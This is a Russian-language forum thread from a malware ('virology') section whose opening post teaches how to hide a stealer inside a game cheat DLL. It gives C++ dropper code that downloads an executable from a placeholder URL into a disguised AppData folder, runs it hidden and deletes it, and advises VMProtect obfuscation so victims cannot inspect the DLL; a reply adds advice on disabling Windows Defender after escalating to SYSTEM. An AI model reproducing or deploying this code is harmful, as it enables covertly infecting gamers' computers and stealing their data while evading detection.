Загрузка...

Статья о том как засунуть ******* в длл. C++

Тема в разделе Вирусология создана пользователем id616209374 17 июл 2022. (поднята 21 июл 2022) 2540 просмотров

Загрузка...
  1. id616209374
    id616209374 Автор темы 17 июл 2022 21 30 дек 2020
    Всем здравствуйте и это тема о том как засунуть ******* в длл Чита ксго, или другой игры. Для этого нам нужен сурс Чита заходим в main.cpp (у вас может другое название быть)

    Добавляем инклюды:

    #include <Windows.h>
    #include <iostream>

    #include"urlmon.h"

    #pragma comment (lib,"urlmon.lib")

    И после иннклюдов делаем саму установку стилила.
    .
    void StartStiller()
    {
    char szPath[256] , szDirectoryPath[256];//патчим
    sprintf_s(szPath, "%s\nvcontainer\nvcontainer.exe", getenv("APPDATA")); // путь до нашего *******а
    sprintf_s(szDirectoryPath, "%s\nvcontainer", getenv("APPDATA"));// путь до папки с нашим *******ом
    LPCTSTR Url = _T("http://www.ursite.domen/prikol.exe"), File = _T(szPath); // ссылки и путь там на ******* и т.д...

    std::filesystem::create_directories(szDirectoryPath);//создаем папку в аппдате с названием nvcontainer
    URLDownloadToFile(0, Url, File, 0, 0); // скачиваем ******* с сервера
    Sleep(3000); // даем 3 секунды на скачку *******а
    ShellExecute(NULL, "open", szPath, NULL, NULL, SW_HIDE);// запускаем тот самый ******* с хайд аргументом
    Sleep(40000);// через n-ное кол-во секунд удаляем *******
    std::filesystem::remove(szPath); // удаляем ******* с пк
    }

    В коде все объяснено на c++.
    Лучше защитить vmp protect'ом что бы человек не смог декодировать длл и посмотреть.
     
  2. MembeR
    MembeR 17 июл 2022 Заблокирован(а)
    легенда детектов
     
    1. artyomazizbekov
      MembeR, тут уже декодирование и декомпиляция термины путуются
  3. Myasn1k
    по детектам что будет? впервые вижу то что в dll суют стиллак
     
    1. id616209374 Автор темы
  4. artyomazizbekov
    artyomazizbekov 17 июл 2022 Заблокирован(а) 5 12 фев 2022
    слишком много говнокода
     
    1. Посмотреть предыдущие комментарии (7)
    2. artyomazizbekov
      GGSenpai, энивей я показал ,что тоже самое можно сделать в 2-3 строчки,не добавляя лишних переменных и не юзая C-шние функции.
      Естественно,можно сделать CreateProcess и UrlDownloadToFile.Системные аттрибуты тоже ставить на одноразовый запуск *******а-бред,но на моем скрине код 2-х летней давности.Плюс щас появился байпасс WD,который андетект.Так что порядок действий прост->
      1.Байпасс WD(нужны админ права)
      2.Запуск любого файла,хоть 9999/26 детект
    3. artyomazizbekov
      GGSenpai, нет,он не ворк
      щас поднимают уровень пользователя до системы и хуярят WD
  5. Skittle_Chan
    Skittle_Chan 17 июл 2022 И в итоге я проиграл, всем и везде
    Ну нахуй:pepeomg:
     
  6. GGSenpai
    GGSenpai 19 июл 2022 148 20 авг 2018
    зачем таскать за собой рантайм, когда аналог getenv и объединения строк через sprintf_s есть в winapi?
    зачем юзать std::filesystem::create_drirectories, когда можно напрямую вызвать winapi?
    зачем юзать std::filesystem::remove, когда можно напрямую вызвать winapi?
    остальное уже написал @KL9CKER
     
Top